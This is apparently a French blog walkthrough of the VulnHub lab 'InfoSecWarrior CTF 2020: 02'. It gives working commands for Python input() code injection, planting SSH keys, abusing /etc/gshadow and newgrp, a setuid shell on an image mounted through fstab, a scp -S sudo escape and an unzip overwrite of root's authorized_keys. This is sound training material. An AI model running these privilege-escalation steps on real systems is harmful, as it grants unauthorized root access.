Accueil Solution du CTF InfoSecWarrior CTF 2020: 02 de VulnHub
Post
Annuler

Solution du CTF InfoSecWarrior CTF 2020: 02 de VulnHub

Le précédent opus des CTFs de la série InfoSecWarrrior ne m’avait pas laissé un souvenir impérissable, mais ce InfoSecWarrior CTF 2020: 02 était plus abouti et très centré sur Linux. J’ai même découvert les passwords de groupe donc que du bon.

Evaluation

Un scan de port révèle la présence d’un SSH et d’un serveur custom visiblement écrit en Python (d’après le traceback que Nmap a généré malgré lui) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Nmap scan report for 192.168.56.173
Host is up (0.00028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
56563/tcp open  unknown
| fingerprint-strings: 
|   GenericLines: 
|     Welcome to 
|     ____ __ __ _ 
|     ___/ ___| ___ __\x20\x20 / /_ _ _ __ _ __(_) ___ _ __ 
|     \x20/ _ / __\x20\x20/\x20/ / _` | '__| '__| |/ _ \| '__|
|     |__) | __/ (__ \x20V V / (_| | | | | | | (_) | | 
|     |___|_| |_|_| ___/____/ ___|___| _/_/ __,_|_| |_| |_|___/|_| 
|     Please input number of ping packet you want to send??: Traceback (most recent call last):
|     File "./script.py", line 18, in <module>
|     int(input(' Please input number of ping packet you want to send??: '))
|     File "<string>", line 0
|     SyntaxError: unexpected EOF while parsing
|   NULL: 
|     Welcome to 
|     ____ __ __ _ 
|     ___/ ___| ___ __\x20\x20 / /_ _ _ __ _ __(_) ___ _ __ 
|     \x20/ _ / __\x20\x20/\x20/ / _` | '__| '__| |/ _ \| '__|
|     |__) | __/ (__ \x20V V / (_| | | | | | | (_) | | 
|     |___|_| |_|_| ___/____/ ___|___| _/_/ __,_|_| |_| |_|___/|_| 
|_    Please input number of ping packet you want to send??

Le code appelle la fonction input() de Python. Pour les besoins du CTF on peut imaginer que Python 2 est utilisé, car dans cette version cette fonction est capable d’interpréter du code Python. On ne peut toutefois pas appeler directement les objets, il faut utiliser quelques moyens détournés, mais ça fonctionne :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ncat 192.168.56.173 56563 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.173:56563.
Welcome to 
 

  ___        __      ____          __        __              _            
 |_ _|_ __  / _| ___/ ___|  ___  __\ \      / /_ _ _ __ _ __(_) ___  _ __ 
  | || '_ \| |_ / _ \___ \ / _ \/ __\ \ /\ / / _` | '__| '__| |/ _ \| '__|
  | || | | |  _| (_) |__) |  __/ (__ \ V  V / (_| | |  | |  | | (_) | |   
 |___|_| |_|_|  \___/____/ \___|\___| \_/\_/ \__,_|_|  |_|  |_|\___/|_|   
                                                                          


 Please input number of ping packet you want to send??: __import__("os").system("id")
uid=1001(bla1) gid=1001(bla1) groups=1001(bla1)
ping target (CTF.InfoSecWarrior)...

On va s’ajouter comme autorisés pour les connexions SSH au compte bla1 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ncat 192.168.56.173 56563 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.173:56563.
Welcome to 
 

  ___        __      ____          __        __              _            
 |_ _|_ __  / _| ___/ ___|  ___  __\ \      / /_ _ _ __ _ __(_) ___  _ __ 
  | || '_ \| |_ / _ \___ \ / _ \/ __\ \ /\ / / _` | '__| '__| |/ _ \| '__|
  | || | | |  _| (_) |__) |  __/ (__ \ V  V / (_| | |  | |  | | (_) | |   
 |___|_| |_|_|  \___/____/ \___|\___| \_/\_/ \__,_|_|  |_|  |_|\___/|_|   
                                                                          


 Please input number of ping packet you want to send??: __import__("os").system("mkdir -p /home/bla1/.ssh/;echo ssh-rsa AAAA--- snip ---nV7Ez8/h >> /home/bla1/.ssh/authorized_keys")
ping target (CTF.InfoSecWarrior)...

T’es trop VIP

Une fois connecté on trouve un fichier concernant l’utilisateur bla2. Il mentionne un mot de passe de groupe :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ ssh -i ~/.ssh/key_no_pass bla1@192.168.56.173
(-(-_(-_-)_-)-) (-(-_(-_-)_-)-) (-(-_(-_-)_-)-)

        ░░░░░░░░▄██████▄ Do this and I will give you a Hint
        ░░░░░░░█▀▀▀██▀▀▀▄
        ░░░░░░░█▄▄▄██▄▄▄█ Laugh uncontrollably for about 3 minutes
        ░░░░░░░▀█████████       then suddenly stop and look suspiciously 
        ░░░░░░░░▀███▄███▀░░          at everyone who looks at you.
        ░░░░░░░░░▀████▀░░░░░                Or
        ░░░░░░░▄████████▄░░░░ Enumerate Hostname and Distro's codename of this box
        ░░░░░░████████████░░░░       And try to get Secure SHell

(-(-_(-_-)_-)-) (-(-_(-_-)_-)-) (-(-_(-_-)_-)-)

PS: For Newbie refer this website to know more : google.co.in
bla1@ck04:~$ ls -alh
total 32K
drwxr-x--- 5 bla1 bla1 4.0K Apr 12 00:34 .
drwxr-xr-x 6 root root 4.0K Jan 28  2020 ..
lrwxrwxrwx 1 root root    9 Jan 27  2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root   55 Feb 12  2020 bla2-note
drwx------ 3 bla1 bla1 4.0K Apr 12 00:34 .gnupg
-rw-r--r-- 1 root root    0 Feb 13  2020 .hushlogin
drwxrwxr-x 3 bla1 bla2 4.0K Feb 14  2020 .local
-rwxr-xr-x 1 bla1 bla1   87 Jan 27  2020 run.sh
-rwxr-xr-x 1 bla1 bla1  819 Feb 13  2020 script.py
drwxrwxr-x 2 bla1 bla1 4.0K Apr 12 00:33 .ssh
bla1@ck04:~$ cat bla2-note
My group password is czNjcjN0
I encoded my gpasswd :-P
bla1@ck04:~$ echo czNjcjN0 | base64 -d
s3cr3t

En parlant de groupe, voyons les fichiers liés au groupe de l’utilisateur :

1
2
3
4
5
6
7
8
9
bla1@ck04:~$ find / -group bla2 -ls 2> /dev/null
   789933      4 drwxrwx---   3 bla2     bla2         4096 Feb 14  2020 /home/bla2
   789434      4 drwxrwxr-x   3 bla1     bla2         4096 Feb 14  2020 /home/bla1/.local
   789808      4 drwx------   3 bla1     bla2         4096 Feb 14  2020 /home/bla1/.local/share
   789834      4 drwx------   2 bla1     bla2         4096 Feb 14  2020 /home/bla1/.local/share/nano
   529369      4 -rw-------   1 root     bla2         1025 Jan 28  2020 /var/backups/gshadow.bak
   531982     12 -rw-r--r--   1 root     bla2        10304 Feb 13  2020 /var/backups/apt.extended_states.1.gz
   142366      4 -rw-rw----   1 root     bla2         1025 Jan 28  2020 /etc/gshadow
   138591      4 -rw-rw----   1 root     bla2         1012 Jan 28  2020 /etc/gshadow-

Les habitués de Linux ont déjà dû apercevoir les programmes gpasswd ou le fichier gshadow sur leur système. Un petit coup de manpage ne peut pas faire de mal :

gpasswd(1): administer /etc/group//etc/gshadow - Linux man page

The gpasswd command is used to administer /etc/group, and /etc/gshadow. Every group can have administrators, members and a password.

If a password is set the members can still use newgrp without a password, and non-members must supply the password.

newgrp(1): log in to new group - Linux man page

newgrp changes the current real group ID to the named group, or to the default group listed in /etc/passwd if no group name is given. newgrp also tries to add the group to the user groupset. If not root, the user will be prompted for a password if she does not have a password (in /etc/shadow if this user has an entry in the shadowed password file, or in /etc/passwd otherwise) and the group does, or if the user is not listed as a member and the group has a password.

On apprend deux choses : il est possible d’associer un mot de passe à un groupe d’utilisateur et il est possible de changer dynamiquement de GID avec la commande newgrp et la saisie du mot de passe :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bla1@ck04:~$ newgrp bla2
Password: 
bla1@ck04:~$ id
uid=1001(bla1) gid=1002(bla2) groups=1002(bla2),1001(bla1)
bla1@ck04:~$ cd /home/bla2/
bla1@ck04:/home/bla2$ ls -al
total 152
drwxrwx--- 3 bla2 bla2   4096 Feb 14  2020 .
drwxr-xr-x 6 root root   4096 Jan 28  2020 ..
lrwxrwxrwx 1 root root      9 Jan 27  2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 135168 Jan 27  2020 db.sqlite3
-rw-r--r-- 1 root root      0 Feb 13  2020 .hushlogin
-rwxrwxr-x 1 bla2 bla2    248 Jan 27  2020 manage.py
drwxrwxr-x 6 bla2 bla2   4096 Jan 27  2020 mysite
-rw-rw-r-- 1 bla1 bla2     38 Feb 14  2020 run.sh

Je n’ai rien trouvé d’intéressant dans la base de données sqlite.

La possibilité de changer de groupe est intéressante, mais à quelle point est-ce utilisable ? Y a-t-il beaucoup de fichier en g+w ?

1
2
3
4
5
6
7
8
9
10
bla1@ck04:/home/bla2$ find /etc/ -perm -g+w -type f -ls 2> /dev/null 
   132345      4 -rw-rw-r--   1 root     root          150 Jan 27  2020 /etc/default/keyboard
   131266      4 -rw-rw-r--   1 root     root          350 Jan 27  2020 /etc/popularity-contest.conf
   142366      4 -rw-rw----   1 root     bla2         1138 Apr 12 01:14 /etc/gshadow
   138591      4 -rw-rw----   1 root     bla2         1012 Jan 28  2020 /etc/gshadow-
   133470      4 -rw-rw-r--   1 root     root            3 Jan 27  2020 /etc/papersize
   131074      4 -rw-rw-r--   1 root     root          550 Jan 27  2020 /etc/fstab
   131464      4 -rw-rw-r--   1 root     root         2904 Jan 27  2020 /etc/apt/sources.list
   131749      4 -rw-rw-r--   1 root     root           49 Jan 27  2020 /etc/apt/apt.conf.d/00aptitude
   138586      4 -rw-rw-r--   1 root     root           40 Jan 27  2020 /etc/apt/apt.conf.d/00trustcdrom

Ce n’est pas énorme, mais je vois déjà deux possibilités d’exploitation :

  • On peut utiliser le groupe bla2 pour modifier /etc/gshadow et par conséquence mettre un mot de passe sur le groupe de notre choix (et donc utiliser newgrp dans la foulée)

  • Avec le groupe root on peut éditer /etc/fstab

Pour rajouter un mot de passe sur le groupe root je copie juste la ligne du groupe bla2 et je modifie son libellé.

Je peux alors lire le contenu de deux fichiers intéressants :

1
2
   132414      4 -rw-r-----   1 root     shadow       1914 Feb 13  2020 /etc/shadow
   131280      4 -r--r-----   1 root     root          967 Feb 13  2020 /etc/sudoers

Voici un extrait du fichier sudoers :

1
2
3
4
5
6
7
8
9
10
11
12
# User privilege specification

bla     ALL=NOPASSWD:/usr/bin/virtualbox,/usr/bin/unzip
shortcut ALL=NOPASSWD:/bin/echo,/usr/bin/id,/usr/bin/whatis
shortcut ALL=(bla:bla) /usr/bin/scp,/bin/cat,/bin/cp
# Members of the admin group may gain root privileges
#%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
#%sudo  ALL=(ALL:ALL) ALL
%bla    ALL=(bla) NOPASSWD: ALL
%bla2   ALL=(bla2) NOPASSWD: /usr/bin/man

Et concernant le shadow je casse le hash du compte shortcut (shortcut) et celui de ck04 (bionic).

La méthode à l’ancienne

Ma première idée était de modifier /etc/fstab pour permettre de monter une image disque dans laquelle j’aurais placé un binaire setuid root :

1
/var/tmp/disk.img    /mnt    ext2    rw,user,exec,suid 0 0

J’ai choisi de mettre l’image dans /var/tmp car une tache cron supprime apparemment ce qui se trouve dans /tmp.

Je crée un fichier vide de 10Mo que je formate en ext2 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bla1@ck04:/home/bla2$ dd if=/dev/zero of=disk.img bs=1024 count=10240
10240+0 records in
10240+0 records out
10485760 bytes (10 MB, 10 MiB) copied, 0.0701639 s, 149 MB/s
bla1@ck04:/home/bla2$ mkfs.ext2 disk.img 
mke2fs 1.44.1 (24-Mar-2018)
Discarding device blocks: done                            
Creating filesystem with 10240 1k blocks and 2560 inodes
Filesystem UUID: d7f46770-9726-443f-8e00-d4792228e0a7
Superblock backups stored on blocks: 
        8193

Allocating group tables: done                            
Writing inode tables: done                            
Writing superblocks and filesystem accounting information: done

bla1@ck04:/home/bla2$ cp disk.img /var/tmp/

J’ai ensuite récupéré l’image sur ma machine ainsi que /bin/dash. Je place alors le binaire dans l’image montée et je lui ajoute le bit setuid root :

1
2
3
4
5
6
7
8
9
$ scp -i ~/.ssh/key_no_pass bla1@192.168.56.173:/var/tmp/disk.img .
$ scp -i ~/.ssh/key_no_pass bla1@192.168.56.173:/bin/dash .
$ sudo mount -t ext2 disk.img /mnt/
$ sudo mv dash /mnt/
$ sudo chown root:root /mnt/dash
$ sudo chmod 4755 /mnt/dash
$ ls -al /mnt/dash
-rwsr-xr-x 1 root root 121432 11 avril 22:09 /mnt/dash
$ sudo umount /mnt

Une fois renvoyée sur la VM je peux monter l’image et exécuter le shell setuid :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
bla1@ck04:/home/bla2$ mount /var/tmp/disk.img 
bla1@ck04:/home/bla2$ ls -al /mnt/
total 137
drwxr-xr-x  3 root root   1024 Apr 12 01:40 .
drwxr-xr-x 25 root root   4096 Apr 12 00:00 ..
-rwsr-xr-x  1 root root 121432 Apr 12 01:39 dash
drwx------  2 root root  12288 Apr 12 01:36 lost+found
bla1@ck04:/home/bla2$ /mnt/dash -p
# id
uid=1001(bla1) gid=0(root) euid=0(root) groups=0(root),1001(bla1),1002(bla2)
# cd /root
# ls
proof.txt
# cat proof.txt
_________        ___.                 ____  __.      .__       .__     __    _______      _____  
\_   ___ \___.__.\_ |__   ___________|    |/ _| ____ |__| ____ |  |___/  |_  \   _  \    /  |  | 
/    \  \<   |  | | __ \_/ __ \_  __ \      <  /    \|  |/ ___\|  |  \   __\ /  /_\  \  /   |  |_
\     \___\___  | | \_\ \  ___/|  | \/    |  \|   |  \  / /_/  >   Y  \  |   \  \_/   \/    ^   /
 \______  / ____| |___  /\___  >__|  |____|__ \___|  /__\___  /|___|  /__|    \_____  /\____   | 
        \/\/          \/     \/              \/    \/  /_____/      \/              \/      |__|

flag = 1876056353cb2e6253fd0ce121ef1b3f

This flag is a proof that you got the root shell.
You have to submit your report contaning all steps you take to got root shell.
Send your report at our e-mail address : ctf@infosecwarrior.com & vishalbiswas420@gmail.com

La méthode pspy

Dans la crontab de root il y a cette entrée :

1
* * * * * cd /home/bla1 && ./run.sh

On ne peut pas la lire sans les droits root mais on aurait aperçu la commande en exécutant pspy.

Le fichier est sous notre contrôle, on pourrait donc faire exécuter des commandes par root en le modifiant et en le rendant exécutable :

1
-rw-rw-r-- 1 bla1 bla2       38 Feb 14  2020 run.sh

La méthode GTFObins

On peut se servir des entrées que l’on a vues dans la crontab avec les comptes cassés. On commence par shortcut qui peut lancer scp en tant que bla :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bla1@ck04:/home/bla2$ su shortcut
Password: 
$ sudo -l
Matching Defaults entries for shortcut on ck04:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shortcut may run the following commands on ck04:
    (root) NOPASSWD: /bin/echo, /usr/bin/id, /usr/bin/whatis
    (bla : bla) /usr/bin/scp, /bin/cat, /bin/cp
$ echo 'sh 0<&2 1>&2' > /var/tmp/yolo
$ chmod +x /var/tmp/yolo
$ sudo -u bla /usr/bin/scp -S /var/tmp/yolo x y:
$ id
uid=1000(bla) gid=1000(bla) groups=1000(bla),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

Ensuite on va utiliser l’entrée sudoers autorisant bla à lancer unzip en tant que root.

Pour cela je crée une arborescence comme si j’étais à la racine, puis je la compresse :

1
2
3
4
5
6
7
$ mkdir -p root/.ssh
$ cp ~/.ssh/key_no_pass.pub root/.ssh/authorized_keys
$ zip -r archive root/
  adding: root/ (stored 0%)
  adding: root/.ssh/ (stored 0%)
  adding: root/.ssh/authorized_keys (deflated 16%)
$ scp -i ~/.ssh/key_no_pass archive.zip  bla1@192.168.56.173:/var/tmp/

Sur la VM je me mets dans la racine et je décompresse :

1
2
3
4
5
$ cd /    
$ sudo /usr/bin/unzip /var/tmp/archive.zip
Archive:  /var/tmp/archive.zip
   creating: root/.ssh/
  inflating: root/.ssh/authorized_keys

Et ça passe :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ssh -i ~/.ssh/key_no_pass root@192.168.56.173
(-(-_(-_-)_-)-) (-(-_(-_-)_-)-) (-(-_(-_-)_-)-)

        ░░░░░░░░▄██████▄ Do this and I will give you a Hint
        ░░░░░░░█▀▀▀██▀▀▀▄
        ░░░░░░░█▄▄▄██▄▄▄█ Laugh uncontrollably for about 3 minutes
        ░░░░░░░▀█████████       then suddenly stop and look suspiciously 
        ░░░░░░░░▀███▄███▀░░          at everyone who looks at you.
        ░░░░░░░░░▀████▀░░░░░                Or
        ░░░░░░░▄████████▄░░░░ Enumerate Hostname and Distro's codename of this box
        ░░░░░░████████████░░░░       And try to get Secure SHell

(-(-_(-_-)_-)-) (-(-_(-_-)_-)-) (-(-_(-_-)_-)-)

PS: For Newbie refer this website to know more : google.co.in
root@ck04:~# id
uid=0(root) gid=0(root) groups=0(root)
Cet article est sous licence CC BY 4.0 par l'auteur.